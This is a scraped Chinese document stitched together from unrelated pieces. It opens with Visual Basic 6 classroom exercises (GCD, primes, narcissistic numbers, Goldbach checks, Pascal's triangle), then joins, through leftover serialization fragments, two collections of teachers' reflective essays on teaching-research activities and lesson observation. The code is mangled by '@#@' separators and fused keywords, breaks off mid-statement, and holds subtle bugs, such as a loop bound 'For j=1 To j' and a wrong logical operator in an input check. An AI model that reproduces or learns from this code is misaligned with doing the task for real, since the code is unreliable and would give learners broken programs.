(1)辗转相减法@#@PrivateSubCommand10_Click()@#@DimmAsLong,nAsLong,m1AsLong,n1AsLong,rAsLong,tAsLong@#@m1=InputBox("@#@输入m1"@#@,"@#@求最大公约数和最小公倍数"@#@)@#@n1=InputBox("@#@输入n1"@#@,"@#@求最大公约数和最小公倍数"@#@)@#@m=m1@#@n=n1@#@Do@#@Ifn>@#@mThen@#@t=m@#@m=n@#@n=t@#@EndIf@#@r=m-n@#@Ifr=0ThenExitDo@#@m=n@#@n=r@#@LoopUntilr=0@#@Printm1&@#@"@#@,"@#@&@#@n1&@#@"@#@的最大公约数是"@#@&@#@m@#@Printm1&@#@"@#@,"@#@&@#@n1&@#@"@#@的最小公倍数是"@#@&@#@m1*n1/m@#@EndSub@#@
(2)辗转相除法@#@PrivateSubCommand9_Click()@#@Dimn%,m%,r%,m1%,n1%@#@n1=InputBox("@#@输入n"@#@)@#@m1=InputBox("@#@输入m"@#@)@#@Ifm1>@#@n1Then@#@m=m1:
@#@n=n1@#@Else@#@m=n1:
@#@n=m1@#@EndIf@#@r=mModn@#@DoWhiler<@#@>@#@0@#@m=n@#@n=r@#@r=mModn@#@Loop@#@Printm1;@#@"@#@,"@#@;@#@n1;@#@"@#@的最大公约数"@#@;@#@n@#@Printm1;@#@"@#@,"@#@;@#@n1;@#@"@#@最小公倍数"@#@;@#@m1*n1/n@#@EndSub@#@9.输出一列“*”,一行“*”。
@#@@#@PrivateSubCommand2_Click()@#@Fori=1To8@#@Print"@#@*"@#@@#@Nexti@#@Print@#@EndSub@#@PrivateSubCommand3_Click()@#@Fori=1To8@#@Print"@#@*"@#@;@#@@#@Nexti@#@Print@#@EndSub@#@10.一张若干大面积的纸厚0.1mm,将其对折一次厚0.2mm,再对折一次厚0.4mm,如果对折了40次,问厚度是多少?
@#@@#@PrivateSubCommand4_Click()@#@DimsAs!
@#@,ss!
@#@@#@n=InputBox("@#@输入的n值"@#@)@#@Fori=1Ton@#@s=0.1*2^n@#@ss=s*0.001@#@Nexti@#@Print"@#@ss="@#@&@#@Format(ss,"@#@0.0000"@#@)&@#@"@#@米"@#@@#@EndSub@#@11.一个球自100m处高度自由落下,每次落地后反跳到原高度一半,然后再落下。
@#@求它在第10次落地时,共经过多少m?
@#@第10次反弹多高?
@#@@#@PrivateSubCommand5_Click()@#@Dimi%,s!
@#@,h!
@#@@#@h=50@#@s=100@#@i=2@#@DoUntili>@#@10@#@s=s+h*2@#@h=h/2@#@i=i+1@#@Loop@#@Print"@#@十次落地经过的路程s="@#@&@#@s;@#@"@#@米"@#@,"@#@第十次落地反弹的高度h="@#@&@#@h;@#@"@#@米"@#@@#@EndSub@#@12.猴子吃桃问题。
@#@猴子第一天摘下若干个桃子,当即吃了一半又多吃一个。
@#@第二天双将剩下的吃了一半,又多吃一个,以后每天都吃前一天剩下的一半零一个。
@#@到第十天只有一个桃子。
@#@问第一天共摘了多少个桃子。
@#@@#@PrivateSubCommand6_Click()@#@Dimi%,x1%,x2%@#@x1=1@#@x2=0@#@i=1@#@DoUntili>@#@9@#@x2=(x1+1)*2@#@x1=x2@#@i=i+1@#@Loop@#@Print"@#@总桃数为"@#@&@#@x2@#@EndSub@#@13.利用自然对数e的近似值,近似公式为:
@#@@#@e=1+1/1!
@#@+1/2!
@#@+1/3!
@#@+…+1/n!
@#@+…@#@
(1)求其误差小于0.00001时的值;@#@@#@
(2)计算到第10项。
@#@@#@
(1)PrivateSubCommand7_Click()@#@Dims!
@#@,e!
@#@,i%@#@i=1@#@s=1@#@e=1@#@DoUntili>@#@9@#@s=s/i@#@e=e+s@#@i=i+1@#@Loop@#@Print"@#@e="@#@&@#@e@#@EndSub@#@
(2)PrivateSubCommand8_Click()@#@Dimi%,t&@#@,e!
@#@@#@i=0@#@e=0@#@t=1@#@DoWhile1/t>@#@0.00001@#@e=e+1/t@#@i=i+1@#@t=t*i@#@Loop@#@Print"@#@e="@#@;@#@e@#@EndSub@#@14.以单重循环及三重循环找到100到999之间所有的水仙花数;@#@@#@单重循环:
@#@OptionExplicit@#@PrivateSubCommand1_Click()@#@Dima%,b%,c%,i%@#@Fori=100To999@#@a=iMod10:
@#@b=(iMod100)\10:
@#@c=i\100@#@Ifi=a^3+b^3+c^3Then@#@Printi@#@EndIf@#@Nexti@#@EndSub@#@三重循环:
@#@PrivateSubCommand2_Click()@#@Dima%,b%,c%@#@Fora=1To9@#@Forb=0To9@#@Forc=0To9@#@Ifa^3+b^3+c^3=a*100+b*10+cThen@#@Printa*100+b*10+c@#@EndIf@#@Nextc@#@Nextb@#@Nexta@#@EndSub@#@15.在百钱买百鸡的基础上,练习兑换零钱;@#@@#@OptionExplicit@#@Dima%,b%,c%,d%,e%,f%,m!
@#@,n%@#@PrivateSubCommand1_Click()@#@n=0@#@m=0@#@Fora=0To2@#@Forb=0To(100-50*a)/20@#@Forc=0To(100-50*a-20*b)\10@#@Ford=0To(100-50*a-20*b-10*c)\5@#@Fore=0To(100-50*a-20*b-10*c-5*d)\2@#@Forf=0To100-50*a-20*b-10*c-5*d-2*e@#@Ifa*50+b*20+c*10+d*5+e*2+f=100Then@#@n=n+1@#@EndIf@#@m=m+1@#@Nextf@#@Nexte@#@Nextd@#@Nextc@#@Nextb@#@Nexta@#@Label1.Caption="@#@总共有"@#@&@#@n&@#@"@#@种方法。
@#@"@#@&@#@"@#@"@#@&@#@"@#@共计算了"@#@&@#@m&@#@"@#@次。
@#@"@#@@#@EndSub@#@PrivateSubCommand2_Click()@#@n=0@#@m=0@#@Fora=0To2@#@Forb=0To(100-50*a)/20@#@Forc=0To(100-50*a-20*b)\10@#@Ford=0To(100-50*a-20*b-10*c)\5@#@Fore=0To(100-50*a-20*b-10*c-5*d)\2@#@n=n+1@#@m=m+1@#@Nexte@#@Nextd@#@Nextc@#@Nextb@#@Nexta@#@Label1.Caption="@#@总共有"@#@&@#@n&@#@"@#@种方法。
@#@"@#@&@#@"@#@"@#@&@#@"@#@共计算了"@#@&@#@m&@#@"@#@次。
@#@"@#@@#@EndSub@#@16输入一个数,判断该数是否为素数。
@#@@#@OptionExplicit@#@PrivateSubCommand1_Click()@#@Dimn!
@#@,j!
@#@@#@n=Val(Text1)@#@j=2@#@DoWhilej<@#@=Sqr(n)AndnModj<@#@>@#@0@#@j=j+1@#@Loop@#@Ifj>@#@Sqr(n)Then@#@Printn;@#@"@#@是素数"@#@@#@Else@#@Printn;@#@"@#@是合数"@#@@#@EndIf@#@EndSub@#@17.求100~200之间所有的素数。
@#@@#@OptionExplicit@#@Dimi%,j%,c%@#@PrivateSubCommand1_Click()@#@Fori=101To199Step2@#@Forj=2ToSqr(i)@#@IfiModj=0ThenExitFor@#@Next@#@Ifj>@#@Sqr(i)Then@#@Printi;@#@@#@c=c+1@#@IfcMod5=0Then@#@Print@#@EndIf@#@EndIf@#@Next@#@EndSub@#@18.输入一个偶数,验证该数符合哥德巴赫猜想。
@#@@#@OptionExplicit@#@PrivateSubCommand1_Click()@#@DimN%,N1%,N2%,I%,K1%,K2%@#@N=Val(InputBox("@#@输入大于6的偶数"@#@))@#@ForN1=3ToN\2Step2@#@K1=Int(Sqr(N1))@#@ForI=2ToK1'@#@判断N1是否是素数@#@IfN1ModI=0ThenExitFor@#@NextI@#@IfI>@#@K1Then'@#@如果N1为素数,将N分解为N1+N2@#@N2=N-N1@#@K2=Int(Sqr(N2))@#@ForI=2ToK2'@#@判断N2是否是素数@#@IfN2ModI=0ThenExitFor@#@NextI@#@IfI>@#@K2Then'@#@如果N2也为素数,则打印输出@#@PrintN&@#@"@#@="@#@&@#@N1&@#@"@#@+"@#@&@#@N2@#@EndIf@#@EndIf@#@NextN1@#@EndSub@#@19.验证100~200之间所有的偶数符合哥德巴赫猜想。
@#@@#@OptionExplicit@#@PrivateSubCommand1_Click()@#@DimiAsInteger@#@DimjAsInteger@#@DimxAsInteger@#@DimyAsInteger@#@DimzAsInteger@#@k:
@#@x=Val(InputBox("@#@请输入一个数"@#@))@#@Ifx<@#@6AndxMod2<@#@>@#@0Then@#@GoTok@#@Else@#@Printx@#@Fory=2Tox/2@#@z=x-y@#@Fori=2Toy-1@#@IfyModi=0ThenExitFor@#@Nexti@#@Ifi>@#@y-1Then@#@Forj=2Toz-1@#@IfzModj=0ThenExitFor@#@Nextj@#@Ifj>@#@z-1Then@#@Printy;@#@"@#@+"@#@;@#@z@#@EndIf@#@EndIf@#@Nexty@#@EndIf@#@EndSub@#@20.输出一个5阶的杨辉三角形@#@OptionExplicit@#@DimA()AsInteger@#@DimnAsInteger,i,j%@#@PrivateSubCommand1_Click()@#@ReDimA(6,6)@#@Fori=1To6@#@Forj=1Toj@#@Ifj=1Orj=iThen@#@A(i,j)=1@#@Else@#@A(i,j)=A(i-1,j-1)+A(i-1,j)@#@EndIf@#@Nextj,i@#@Fori=1To6@#@Forj=1Toi-1@#@PrintTab(50-i*3+j*6);@#@A(i,j);@#@Spc
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15226:
"教师教研活动心得体会3篇范文@#@教师教研活动心得体会3篇范文@#@ 开展教研活动,要跃学生身心,增强学生体质,加强同学友谊,陶冶学生情操。
@#@下面是管理资源吧小编整理教研活动经验心得体会优秀范文的范文,欢迎阅读!
@#@@#@ 教师教研活动心得体会3篇范文一 时光飞逝,一转眼间,一年的体育教育教学工作又落下帷幕了。
@#@回忆本年度走过的历程,有欢乐,有收获,有失意,有挣扎。
@#@感觉昨天走过的路又重新展现在我的眼前。
@#@现对本年度的体育教研组工作总结如下:
@#@这一学期在学校领导的正确领导下,在体育组的全体教师的共同努力下,我们组出色的完成了教育教学方面的工作和承担的各类比赛任务。
@#@@#@ 一、各类比赛任务@#@ 1、团河小学春季学生田径运动会@#@ 为了全面提高我镇小学生的身体素质和竞技水平,经学校研究决定于4月25日举行团河镇小学生田径运动会。
@#@要求每个班级都组队参赛。
@#@我们体育组的全体教师从3月初就开始组织学生进行训练。
@#@经常是下班的铃声已经打了很长的时间,我们组的老师还在田径场上带孩子进行训练,甚至连上厕所的时间都没有。
@#@@#@ 运动会比赛期间,各班参赛学生积极发挥勇于拼搏,奋勇争先,坚持不懈的的运动精神,不断突破,取得了累累硕果。
@#@赛场上运动健儿遵守纪律,服从裁判,发扬吃苦耐劳、顽强拼搏,“友谊第一、比赛第二”的精神,做到“胜不骄,败不馁”,在运动场上比思想、比作风、比纪律、比技术,赛出风格、赛出友谊、赛出团结、赛出成绩,充分展现出了团河小学的精神风貌,取得了体育成绩和精神文明的双丰收。
@#@@#@ 2、会同县中小学生田径运动会@#@ 一年一度的全县中小学生田径运动会在10月23日举行。
@#@我们体育组从我镇学生春季运动会后就开始了训练红作。
@#@每天早晨和放晚学后各训练一小时,风雨无阻。
@#@9月底还参加了会同二中的学生田径运动会,进行练兵。
@#@@#@ 通过半年的训练,我校代表队在全县中小学生田径运动会上发扬吃苦耐劳、顽强拼搏的精神。
@#@取得了全县小学组团体总分第七名,为学校争得了荣誉。
@#@@#@ 累累硕果来之不易,这与学校领导的关心、教师的配合、家长的支持、运动员的努力、教练员(体育组教师)的付出是分不开的。
@#@新的一页,将要重新被翻开,又一个起点将要开始。
@#@面对未来,体育组所有同仁将不遗余力,争取获得更好的成绩。
@#@通过这一次运动,我看到了体育组全体教师沟通协作,团结一致的优良品质。
@#@@#@ 3、圆满地完成了县教育局举办的乒乓球比赛(团河赛区)@#@ 为了贯彻落实阳光体育活动纲要,推动我县体育活动的广泛开展,发现和选拔乒乓球运动人才,不断提高乒乓球运动技术水平。
@#@县教育局决定在9月份举办全县中小学生乒乓球比赛。
@#@全县分三个赛区。
@#@小河片9个乡镇的中小学生比赛由我校承办。
@#@从筹备工作到组织比赛全部由我校体育组负责。
@#@工作量之大可想而知。
@#@但我们在学校领导及全体教师的支持下,把比赛举办得非常成功,得到了教育局的高度赞扬。
@#@@#@ 4、成功举办了我校20XX年体育活动周活动@#@ 为切实推动学生阳光体育运动的广泛开展,吸引广大青少年学生走向操场、走进大自然、走到阳光下,积极参加体育锻炼,掀起群众性体育锻炼热潮。
@#@经学校领导同意,我校体育组成功组织了20XX年团中心小学体育活动周活动。
@#@项目既有专项性的,也有全民性的。
@#@包括篮球赛、乒乓球赛和跳绳比赛等。
@#@9月底开始筹备,12月5月至9月利用一周的时间进行比赛。
@#@取得了相当好的效果。
@#@成绩的背后,离不开体育组全体教师的倾力指导与参赛学生的辛苦训练,同时也与学校领导的大力支持是分不开的。
@#@展望未来,体育组全体教师将再接再厉,争取获得更好的成绩。
@#@@#@ 5、教工篮球赛@#@ 我校体育组在10月份全力配合学校工会组织我校男、女教职工成功参加了小河片区教工篮球赛。
@#@取得不错的成绩。
@#@@#@ 二、教育教学工作@#@ 1、认真搞好体育教学常规工作@#@ 我校的体育教师都是兼职的,但在备课、上课等常规工作上却毫不逊色言主课教师,做得非常出色。
@#@@#@ 2、值周工作@#@ 全体体育教师轮流值周,认真组织学校的两课两操及大小集会,把这项工作做得井井有条。
@#@@#@ 3、积极开展教研活动,撰写教育教学论文。
@#@@#@ 本年度我校体育组开展主题体育教研活动三次主题分别是“小学体育特长生的培养”、“小学体育课堂意外事故怎样处理”和“如何上好小学体育课”。
@#@会上大家进行了热烈的讨论。
@#@针对每个主题都提出了自己的想法和建议。
@#@@#@ 总之,学校领导的支持、督促,一个关系融洽、气氛活跃的工作环境以及组内成员凝聚力的增强、积极性的调动,是我们工作成绩取得的保证,在今后工作中,衷心希望学校领导能够一如既往地给予我们体育组指导和帮助,让我们再接再厉,把工作做得更好,开创学校体育组工作的新局面。
@#@@#@ 教师教研活动心得体会3篇范文二 一个学期以来,我们组在校长室、教学处、德育处的领导下,以及各年级、各班主任老师的协助下,团结协作,努力工作,完成了本学期的工作,并取得了良好的成绩。
@#@@#@ 一、加强理论学习,进一步探讨了新课程理念,明确了目标,统一了思想,使学校体育工作顺利的开展,取得了一定的成绩,并在体育教学、体育活动和运动队的训练开创了一个新的局面。
@#@@#@ 二、积极开展教研活动。
@#@本学期的教研活动,改变了过去只讨论工作的现象,成为工作安排和研讨教学、教材、教法相结合的讨论会。
@#@会上,大家能敞开思想,积极发言,认真探讨各种问题,讨论中相互启发,各抒己见,最后达到共识。
@#@我们认为这种活动达到了统一思想,互相启发的作用,对体育教学工作有很大的促进,对个人的业务水平也是一个很大的提高。
@#@加强了集体备课的活动,各备课组认真讨论对课堂教学提高体育课的质量起到了一定的推动作用。
@#@同时抓好教案书写的质量,以保证上好每一堂体育课。
@#@@#@ 三、抓好全校学生的体质测试工作。
@#@认真执行《国家学生体质健康标准》按规定认真测试,认真记录、认真统计,优质、及时的上报国家数据库。
@#@并能够将学生的成绩档案及时反馈到体育教师和班主任以及学生的手中。
@#@@#@ 四、组织好第三届校田径运动会。
@#@由于本部田径场地刚维修好,在体育组和学校领导积极配合下开展工作,认真准备,无论是组织、编排还是场地器材的准备,组织认真讨论、分工明确,全员动手,相互协作。
@#@运动会安全、有序的进行。
@#@圆满的完成了这一新的组织形式的运动会,并积累了经验,得到了校方的肯定。
@#@@#@ 五、抓好大课间的活动。
@#@经过全校学生、教师的努力,大课间活动的面貌有了进一步的改善。
@#@特别是跳绳的组织,在德育处的指导下,有序进行达到了一定的效果。
@#@活跃了学生身心,增强了学生体质,加强了同学友谊,陶冶了学生情操,达到了预期效果。
@#@@#@ 六、组织校田径队、排球队。
@#@一学期来,体育老师充分利用业余时间,放弃休息,每天坚持训练。
@#@在县田径运动会中取得优异的成绩。
@#@@#@ 七、存在问题@#@ 要进一步加强学习,提高自身素质及修养,团结合作。
@#@教师要注重运动员的选拔,加强运动队的梯队训练,争取优异成绩。
@#@在过去的一个学年里,我们付出,我们收获,添了几分经验,也多了几分教训。
@#@今后我们将本着求真务实、锐意进取、勇于开拓的精神,在素质教育的探索和实践中再接再励,力求教研组建设日臻完善。
@#@@#@ 教师教研活动心得体会3篇范文三 本着20XX学年第二学期“团队合作谋发展,潜心研究求进步”的教研活动思路,在市教研室吴向东老师和学区教育干部潘昌进老师的指导下,我们安阳学区小学体育教研大组在这一学期中着眼于学校体育教学的提高和教师专业发展,致力课堂教学研究,积极倡导团队合作,营造教师团队进取氛围,促进教研组工作深入开展,使我们安阳学区小学体育教研工作质量进一步提高。
@#@现将一学期工作简单小结如下:
@#@@#@ 一、集思广义,为学区教研工作打好基础@#@ 这个学期我刚接任了安阳学区小学体育教研组长一职,为了将学区教研工作进一步的推上一个台阶,学期前我特意提早做好了一些有关于教研活动的资料收集,又邀请了教研组的两位副组长方丽芳和许娜老师一起讨论进行了“关于如何进行这个学期教研活动的安排”的问题,并将大家的意见作了整理总结。
@#@根据大家的意见,制定了本学期活动的大纲和如何执行教研活动的一些规章制度。
@#@然后在学期第一次学区教研活动会议中将这个学期的任务和计划作了详细的布置,使每个组员对这个学期的教研活动思路有了大致的了解,为学区教研活动正常有序的开展打好了基础。
@#@@#@ 二、搭建平台成就教师专业素养的发展@#@ 随着基础教育课程改革工作的进一步深化,时代对我们教育工作者提出了越来越高的要求,我们切实感受到了自身的压力,并有着强烈的危机意识。
@#@因此,我们教研组十分重视教师基本素质和业务能力培养的问题。
@#@我们将更新教育教学观念、完善教师自身知识结构、不断探索新的教学模式、方法,从而提高教学质量作为教研组建设的首要目标。
@#@20XX学年我们遵循着市教研室吴向东老师制定的市教研组计划大纲,在体育课堂教学这个的平台上尽情地展示着自己,并取得了一定的成绩:
@#@@#@ 1、研讨课平台@#@ 听课、评课仍是我们这个学期教研组活动的主要内容,为了提高每位教师的课堂教学调控能力与听、评课的能力,这个学期我教研组在密集繁忙的各类竞赛中穿插安排了两次的学区教研活动,分别在广场实验小学与红旗实验小学举行了两次听评课研讨活动。
@#@其中广场实验小学胡益成老师执教的《双手胸前传球》、滨江小学林展执教《贪吃蛇》、红旗实验小学的李华弟与黄炜洁老师执教的《前滚翻》教学课题为我们的教研活动提供了良好的研讨素材。
@#@在这两次教研活动中,我们依然采用四种课堂数据表格记录作为每位教师听课与评课的依据,并在此基础上要求每位上课的教师要做好课后反思,听课的老师要做好听课记录,评课的教师则要做好评课总结等工作。
@#@藉着试教、评课、上课等形式的教研活动使我们的教师有了展示的舞台,在展示中积累、反思、收获,获得了更深层次的提高;@#@另一方面参与学习、听课的教师也在学习、体会、提高,大大提高了我们教研组的团体水平。
@#@@#@ 2、博客平台@#@ 网络的发展使我们更快更近的接触到更多的新知识,博客在这种氛围中不知不觉的兴起,由于它的个人色彩和开放色彩为广大教师所接受,成为网络第一热门事物。
@#@而我们安阳学区的“学区教研博客”至20XX年开建以来,一直为我们学区教研活动提供了良好的服务。
@#@我们将每位授课教师的课题设计、听课教师的听课总结、每次教研活动的照片及时的上传发布,并及时的收集新的教育教学信息,供每位教师学习浏览。
@#@截止这个星期我们博客的点击量达到六万多次。
@#@可以说,“学区教研博客”不仅仅给我们积累了很多资料,还见证了我们学区每位教师的成长。
@#@@#@ 三、紧抓教研工作,实现理论与实践的结合@#@ 将实践与理论相结合一直是我们学区教研活动的宗旨,我们提倡每位教师平时注重积累和思考,认真参加各级各类的教学业务比赛,无论是案例评比还是技能竞赛中我们学区教师在各方面成绩都遥遥领先,在各级各类杂志上发表文章据不完全统计达到4篇次。
@#@比如许娜老师写的“跳跃的键盘”刊登在【体育教学】20XX年第10期,又如由许娜和张磊老师合写的“提高体育课堂教学的小策略”一文发表在【中国学校体育】杂志20XX年第11期。
@#@本学年虹桥路小学的潘丽量、红旗实验小学的叶星、潘岱小学的马胜男老师分别以高分通过了小学高级教师职称的评估,真可谓可喜可贺。
@#@@#@ 四、思考问题,谋划教研活动发展的前景@#@ 回顾半年多来教研组的教研工作,我们体会到了付出的艰辛和收获的喜悦,在我们的共同努力下,安阳学区小学体育教研组已拥有了一支踏实肯干、勤于钻研、相对稳定的专兼职中青年骨干教师队伍。
@#@在收获的同时,我们永远不会忘记各级领导的关心与帮助,专家的指导和引领。
@#@然而,我们深知“思进”是当前社会发展的主流,我们学区教研工作虽然在一定程度上具有一定的优势,但放眼全市,纵观全局,检讨自我中我们发现仍是存在着许多不足。
@#@因此,进一步思考问题,谋取教研组的发展是我们应当深刻思考的问题。
@#@按照素质教育的发展趋势与市、学区教研活动的指导大纲,我们接下去要谋划好以下几方面的发展:
@#@@#@ 1、致力改变教研活动形式,进一步拓展教研活动的空间;@#@@#@ 2、寻求名师引路,进一步加快教师专业成长进程;@#@@#@ 3、打造教科研新思路,进一步落实教研活动的工作;@#@@#@ 4、浓厚教研活动氛围,进一步展现安阳学区教研活动的风采。
@#@@#@ 总而言之,20XX年我们将继续发挥安阳学区小学体育教研大组的优势,将教研活动搞得更加活跃,更有实效性。
@#@@#@ @#@ @#@@#@";i:
18;s:
26173:
"教师外出听课学习心得体会范文@#@教师外出听课学习心得体会范文@#@教师外出听课学习心得体会范文@#@教师外出听课学习心得体会范文1@#@首先,我要感谢小教及学校领导给我这次学习的机会。
@#@我有幸去青岛参加了由北京师范大学教育培训中心组织为期两天的“20xx全国著名特级教师——小学语文高效课堂大型教学观摩活动”。
@#@两天来,我看到了名师多角度诠释课堂教育教学的真谛和焕发生命力的名师课堂,学习了名师开阔的教学视野及超前的教学理念。
@#@@#@@#@江苏省海安县实验小学教导主任,南通市小学语文学科带头人,江苏省小学语文特级教师许习白老师带来的示范课苏教版《寻隐者不遇》。
@#@这篇课文对于六年级的学生是一篇学过的文章,整堂课由浅入深,以诗人思想感情变化为主线,通过抓关键字、直接描写和神态、动作描写再现了贾岛寻隐者的整个过程。
@#@这节课,徐老师让孩子明白了看似简单的诗句饱含了古人的思想,不能像读浅显的白话文。
@#@同时许老师还向听课的老师传递了另一信息:
@#@我们孩子学习古诗词的另一目的是一扇窗,透过这扇窗了解中国古诗词,我们应为他们把这扇窗打开更大些,让他们了解更深些。
@#@让孩子看到更多更美的风景。
@#@@#@童漫作文教育专家,著名特级教师宋运来老师带来的示范课《悦读漫画写作》。
@#@宋老师是一位非常幽默风趣,充满活力和激情的人。
@#@不愧是一位高手,宋老师的课被安排在下午,而且是一节90分钟的课,他却能以激情点燃激情,使整堂课笑声此起彼伏,而且还到处闪烁智慧的光芒。
@#@不仅孩子如此,听课的老师如此。
@#@与此同时,我恍然大悟,刚拿到课程安排的质疑这时似乎也得到了很好的诠释。
@#@课程安排是这样写的《悦读漫画写作》,当时我以为是工作人员的疏忽,把“阅读”写成了“悦读”,可是,听完宋老师的示范课后,我知道是我错了,毋庸置疑就应是“悦读漫画写作”。
@#@@#@上课开始,宋老师设计了一个现场招物启事的环节,随后学生交流拾金的经历。
@#@板书“拾金要昧”“拾金不昧”。
@#@接下来是一活动,播放歌曲〈一分钱〉,这时学生的热情充分调动起来了。
@#@进入本节课的主题:
@#@出示图片灰太郎和100元大钞,今天,灰太郎也遇到了“拾金”的好事?
@#@看图片想“拾金”发生在什么时间?
@#@什么地方?
@#@灰太郎会发现钞票吗?
@#@……宋老师循循善诱,在老师的引导下,一篇有声有色的作文诞生了。
@#@@#@最令人称奇的是虽然宋老师逐个环节都做了指导,可交流时,孩子们所呈现的文章却没有两篇雷同的。
@#@不得不感慨这就是名师风范,是值得我学习和追求的境界。
@#@@#@张敬义老师在教学《我和祖父的园子》一文时,采用了游戏攻关的模式进行设计,符合孩子们的年龄特点,有利于调动学生的积极主动性,对课标的讲解也有独到的地方。
@#@@#@我们听了名师们的课,他们的课堂没有华丽,只有朴实;@#@没有太多精美的课件,只有书本与粉笔,而我们每一个听课的老师却往往不知不觉地陶醉其中,随着教者在课堂上的引导,或喜或悲或乐或怒,仿佛置身的不是课堂,而是走进了文本,自己就是文本中的角色。
@#@@#@教师外出听课学习心得体会范文2@#@听了几位老师的课,让我有了学习的机会,受益非浅,感触很深。
@#@我觉得两位老师在课堂教学中都有这么几个亮点:
@#@@#@一、注重教给学生学习的方法@#@教学应该是源于教材但又要高于教材,尤其在当今社会显得更重要。
@#@教材只不过是一个范文或者例子,老师在教学时要把学习方法教给学生,让学生学会学习,并且达到终身学习。
@#@教师在教学中就要有意识地让学生逐步领会学习方法,让学生掌握学习知识的窍门。
@#@几位老师都能注重教给学生学习的方法,刘玲玲老师主要是教给学生抓住关键词来理解句子的方法,让学生通过读句子找出关键词,由理解关键词的含义进而来理解整个句子的意思。
@#@几位老师都能让学生抓重点句来理解课文,通过反复读,边读边做批注的方法来学习课文。
@#@@#@二、让学生质疑问难,解决问题。
@#@@#@质疑问难是学生学习活动中不可缺少的一环,学生有疑问,才有思考。
@#@两位老师都能让学生通过读句子提出有价值的问题,进行思考,进而解决提出的问题。
@#@@#@三、尊重学生的体验@#@《语文课程标准》指出阅读是学生的个性化行为,不应以教师的分析来代替学生的阅读实践要珍惜学生独特的感受、体验和理解对学生独特的感受和体验应加以鼓励。
@#@这种新理念,已成为阅读教学改革的重要话题,为越来越多的教师所认可。
@#@两位老师在这两节课中也能注重学生的阅读体验。
@#@给学生充足的时间阅读、思考、体会,创设宽松和谐的氛围让学生交流各自的体验,来领悟文章的内容与中心思想。
@#@@#@当然,几位老师还有一些地方做得不到位的,如在指导学生朗读等方面还有待大家共同讨论,研究,因为这也是我自己做不好,也不知该如何去做好的问题,请多多指导。
@#@@#@步入教师岗位的时间已年多,在过去的工作中,通过培训和教学获得了一些教学经验,但是对于要成为一位成熟的教师来说还是远远不够的。
@#@众所周知,学习才能获得更多的教学经验。
@#@而一种快速的获得教学经验的方法就是听课。
@#@每个学期学校都要展开听课活动,在这近半个学期的听课学习中,我受益匪浅。
@#@以下就是我对这次听课活动后总结的一点心得体会:
@#@@#@首先,必须要有对教材的充分理解。
@#@理解教材,把握教材的重点、难点才能更好地把教学任务解决好,教材的理解是对教学做充分的准备,教师只有知道上什么,怎么上,什么是重点、难点才能上好课。
@#@要作好足够的课前准备。
@#@课前准备包括备课、备学生、备教材。
@#@作好充分、足够的准备教师才能在课堂上游刃有余,挥洒自如。
@#@处理、把握教材的方法十分独到。
@#@三位教师对教材的处理和把握有其独到之处。
@#@如李勇师在处理课文时分别采用了说、采访、画游戏的方法引导学生理解。
@#@最精彩的是学生把自制的礼物献给自己的老师,表达了学生对老师的爱。
@#@一句教育名言说得好:
@#@什么是教育,那就是学生把在学校所学的东西都忘记以后剩下的东西。
@#@我想,我们每一位教师在上完一堂课后,该问问自己:
@#@当学生把这堂课所学的知识点忘记以后,还剩下些什么?
@#@十年,几十年以后,当学生把所学的知识全忘掉以后,我们给他们留下些什么?
@#@我们的教育,能否给孩子们留下正确的思维方式,留下解决问题的能力,留下他们真正需要的种种?
@#@@#@其次,必须要改变旧的教学模式,音乐课不同于其他科目,更需要学生与教师的自主互动,使课堂活跃起来。
@#@@#@总得来说,通过听课丰富了我的教学经验和教学方法,给我的教学工作带来很大的.帮助。
@#@听课是教师的必修课,以人为镜,才能够体察自己的优点和缺点。
@#@通过听课学习别人的长处,通过听课,反思自己,才能不断进步,这也是教师成长的一条捷径。
@#@今后我将通过这条捷径获得更多的教学经验,来帮助我更好地完成教学工作。
@#@@#@教师外出听课学习心得体会范文3@#@20xx年5月6日至12日,在区教育局的精心组织安排下,我们一行53人从xx出发奔赴全国教育名市——山东省xx市进行了为期四天的学习。
@#@在这短短的几天时间里,我们先后在xx二中、xx外国语学校、xx五中、xx一中几所学校进行了参观学习。
@#@期间观摩了课堂教学并与授课教师交流互动,听了学校领导的专题讲座,每天学习结束后学员相互交流体会。
@#@这次学习,使我深受启发,下面主要谈谈我在xx二中参观学习后的几点感受:
@#@@#@一、特色化的先进教育理念@#@xx二中从培养学生综合素质的高度出发,提出了以课堂教学为核心,以“目标性”、“针对性”及“高能性”为目标,以“变备教材、备教法为备学生”为特点的教育理念。
@#@备学法使学生动起来,课堂活起来,教学效果好起来,师生负担减下来。
@#@包括“预习、互动、测评”三大模块的”课堂教学271法则”,形成了xx二中教学的最大特色。
@#@271课堂要求学生课前准备紧锣密鼓,学案探究互动热火朝天,学生课后复习温故知新。
@#@具体包括以下三个转变——师长变学长,变教为启,变教为帮;@#@学生是学习的主人,变被动接受为主动探究;@#@教室功能的转变,变教室为学室,变讲堂为学堂。
@#@这种课堂解放了学生的头脑,解放了学生的双手,解放了学生的眼睛,解放了学生的嘴巴,解放了学生的空间和时间。
@#@@#@二、高效化的小组合作学习@#@学习小组的建立既使学习主体细致化(每组6人,根据学习能力的差异分为a、b、c三个等级),既有利于老师对学生学习情况的更细致的了解掌握,也有利于老师针对不同层次的学生开展层次教学,同时学习小组还能充分发挥学生学习的主动性、积极性、自律性,学生自主管理的优势也能得到充分地展现。
@#@@#@三、集体化的导学案@#@导学案中所涉及的探究问题能真正体现课堂教学过程。
@#@知识点挖掘细致,我所听到的语文学科两节课都体现了教学中学习的层次性,学生的主体性,很有实效性。
@#@课间通过和几位任课老师的交流,从这些老师的言语中可以透漏出教师的集体备课效率很高。
@#@所谓的效率高可以从学案的编写中充分体现出来:
@#@学案上有编制者、有审核者、还有审批者和日期,编制和审核均是2个人,执教人有的还不是学案的编制者,说明不是个人编制。
@#@@#@四、广泛的师生阅读@#@教师首先是勤奋的读书人,在每个学期学校都要求每一名教师至少阅读十本不同类别的书籍并写出一定数量的读书笔记;@#@其次让学生畅游书海,每名学生在每个学期要阅读一定数量的书籍,并做好名言警句和美文语段的摘抄。
@#@每个年级每周都安排了阅读课,从而使学生的阅读成为了一种习惯;@#@再次是每个年级在每个学期组织一定量的阅读活动,以此来促进学生阅读的积极性和高效性。
@#@阅读不仅为学生的语文学习打下坚实基础,而且能为学生的人生增添色彩。
@#@@#@五、无处不在的校园文化@#@整个校园均充满了以学生为主的校园文化氛围,从操场到教室,从走廊到厕所,从班级到小组,让学生成为校园的主人,让学生的名言、作品和荣誉成为激励学生学习、转变学生行为的准则。
